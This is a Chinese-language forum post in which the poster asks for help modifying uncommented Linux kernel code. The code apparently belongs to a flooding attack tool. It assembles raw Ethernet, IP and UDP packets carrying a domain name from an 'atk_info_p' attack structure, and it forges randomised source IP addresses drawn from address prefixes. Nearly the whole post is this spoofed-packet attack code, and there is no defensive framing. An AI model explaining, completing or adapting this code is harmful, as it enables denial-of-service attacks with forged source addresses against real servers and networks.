linux内核

下面的代码有熟悉的人吗？求助啊。想修改点东西不懂代码，也没有注释：

 data_len=sizeof(data_1)+strlen(atk_info_p->domain)+1+sizeof(data_2);  udp_len=data_len+sizeof(struct udphdr);  ip_len=udp_len+sizeof(struct iphdr);  skb_size=sizeof(struct ethhdr)+ip_len;  if(udp_len%2)    skb_size+=1;    new_skb = alloc_skb(skb_size, GFP_ATOMIC);    if(new_skb==NULL)      continue;    new_skb->data_len = 0;    skb_put(new_skb,sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr));    new_eth_p = (struct ethhdr *)new_skb->data;    new_ip_p = (struct iphdr*)((size_t)new_eth_p+sizeof(struct ethhdr));      new_skb->mac_header = (unsigned char *)new_eth_p;    new_skb->len = sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr)+data_len;    new_skb->mac_len = sizeof(struct ethhdr);      new_skb->dev = dev_get_by_name(&init_net,DEV_ETH);    memcpy(new_eth_p->h_source,new_skb->dev->dev_addr,ETH_ALEN);    memcpy(new_eth_p->h_dest,atk_info_p->eth_dst,ETH_ALEN);    new_eth_p->h_proto = htons(ETH_P_IP);    new_udp_p = (struct udphdr*)((size_t)new_ip_p+sizeof(struct iphdr));    new_phdr_p = (struct pseudo_header*)((size_t)new_udp_p-sizeof(struct pseudo_header));     new_skb->network_header = (unsigned char *)new_ip_p;     new_skb->transport_header = (unsigned char *)new_udp_p;     new_udp_data_p = (unsigned char *)((size_t)new_udp_p+sizeof(struct udphdr));    memcpy(new_udp_data_p,&data_1,sizeof(data_1));    memcpy((new_udp_data_p+(size_t)sizeof(data_1)),&atk_info_p->domain,strlen(atk_info_p->domain)+1);        memcpy((new_udp_data_p+(size_t)sizeof(data_1)+(size_t)strlen(atk_info_p->domain)+1),&data_2,sizeof(data_2));    /*create pseudo header */    if(ip_list_level<32)    {      random_src_ip= (((ntohl(ip_list[_random(seed_p)%(ip_list_n+1)])>>(32-ip_list_level))<<(32-ip_list_level))^(RANDOM_32(seed_p)>>ip_list_level));           /*1.05改动*/      if((random_src_ip&0xff)==0)        random_src_ip=htonl(random_src_ip+1);      else if((random_src_ip>>24&0xff)<10)        random_src_ip=htonl((random_src_ip+200)<<24);      else if((random_src_ip>>24&0xff)==255)        random_src_ip=htonl((random_src_ip&0xfe)<<24);      else if((random_src_ip&0xff)==255)        random_src_ip=htonl(random_src_ip-1);      else        random_src_ip=htonl(random_src_ip);    }    else      random_src_ip=ip_list[_random(seed_p)%(ip_list_n+1)];    if(ntohl(atk_info_p->src_ip))      src_ip = atk_info_p->src_ip;    else      src_ip = random_src_ip;        new_phdr_p->src=src_ip;    new_phdr_p->dst = atk_info_p->dst_ip;    new_phdr_p->unused = 0;    new_phdr_p->proto = IPPROTO_UDP;    new_phdr_p->len = htons(udp_len);